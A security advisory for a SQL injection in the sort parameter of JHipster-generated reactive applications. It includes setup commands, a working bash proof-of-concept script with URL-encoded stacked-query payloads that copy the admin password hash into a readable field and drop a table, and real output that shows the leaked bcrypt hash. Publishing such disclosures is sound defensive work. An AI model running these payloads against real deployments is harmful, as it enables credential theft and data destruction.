Vulnerability GHSA-r223-96jv-q533
High Risk
HIGH RISK
CVSS Score: 8.8
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
5 hours ago
October 08, 2026 at 05:40 PM UTC
JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
7.0.0 - 9.3.0
7.0.0 - 9.3.0
Summary
JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
Details
SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
- Product: jhipster/generator-jhipster (npm package
generator-jhipster) - Affected versions: v7.0.0 through v9.2.0
- Component: generated reactive-application code, template
EntityManager_reactive.java.ejs - Report date: 2026-08-29
Appendix
A. Environment setup
# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version # openjdk 21.x
node --version # v20+
# 1. Clone the generator
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund # ~778 packages
npm link # makes `jhipster` available
jhipster --version # expected: 9.2.0
# 2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
"applicationType": "monolith", "baseName": "pocwebflux",
"packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
"databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
"reactive": true, "skipClient": true, "buildTool": "maven",
"enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
# Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
# 3a. Run on H2 (default dev database)
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
# 3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=prod --server.port=18081 \
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \
--jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# seed two products via the API (prod has no sample data), then run poc.sh:
BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16
B. PoC script
#!/usr/bin/env bash
# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then
JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
-d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"
echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
| python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
C. Real output (H2 run, 2026-08-29, full poc.sh execution)
== Target: http://127.0.0.1:18080 ==
== 1) Obtain a low-privileged token (user/user) ==
== 2) Baseline: benign paginated read (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==
status: 500
detail: Syntax error in SQL statement "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price
FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
Read back - first product 'name' now equals the admin bcrypt hash:
id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=2 name=notwithstanding
== 5) Arbitrary SQL: DROP TABLE product (availability) ==
injection request HTTP 200
After injection, listing products again:
status: 500
detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]
== Done. The database has been modified / a table dropped by injected SQL. ==
evidence-01-h2
D. Real output (PostgreSQL 16 run )
== 3) Error probe: sort=name' ==
status: 500
detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e
ORDER BY e_name' ASC LIMIT 20 OFFSET 0
== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=1501 name=beta widget
== 5) DROP TABLE product ==
injection request HTTP 200 -> subsequent list: status 500 "Failure during data access"
evidence-02-postgresql
Related Vulnerabilities
Other vulnerabilities affecting the same packages
High Risk
5 hours ago
JHipster: Generated Applications Allow Stored XSS via Unrestricted Blob ContentType Opened as Same-Origin Blob
0.0.1 - 9.3.0 GHSA-9ffp-22j7-56r2
0.0.1 - 9.3.0 GHSA-9ffp-22j7-56r2
High Risk
2 years ago
generator-jhipster allows a timing attack against validateToken due to a string comparison that stops at the first character
0.0.1 - 2.22.0 GHSA-4gpm-r23h-gprw
0.0.1 - 2.22.0 GHSA-4gpm-r23h-gprw
High Risk
4 years ago
SQL Injection when creating an application with Reactive SQL backend
7.0.0 - 7.8.0 GHSA-qjmq-8hjr-qcv6
7.0.0 - 7.8.0 GHSA-qjmq-8hjr-qcv6
High Risk
7 years ago
High severity vulnerability that affects generator-jhipster
0.0.1 - 6.3.0 GHSA-mc84-xr9p-938r
0.0.1 - 6.3.0 GHSA-mc84-xr9p-938r
Impacted packages
Timeline
Published
5 hours ago
October 08, 2026 at 05:40 PM UTC
Fixed (9.4.0)
Unknown
Unknown
Last Modified
5 hours ago
October 08, 2026 at 06:00 PM UTC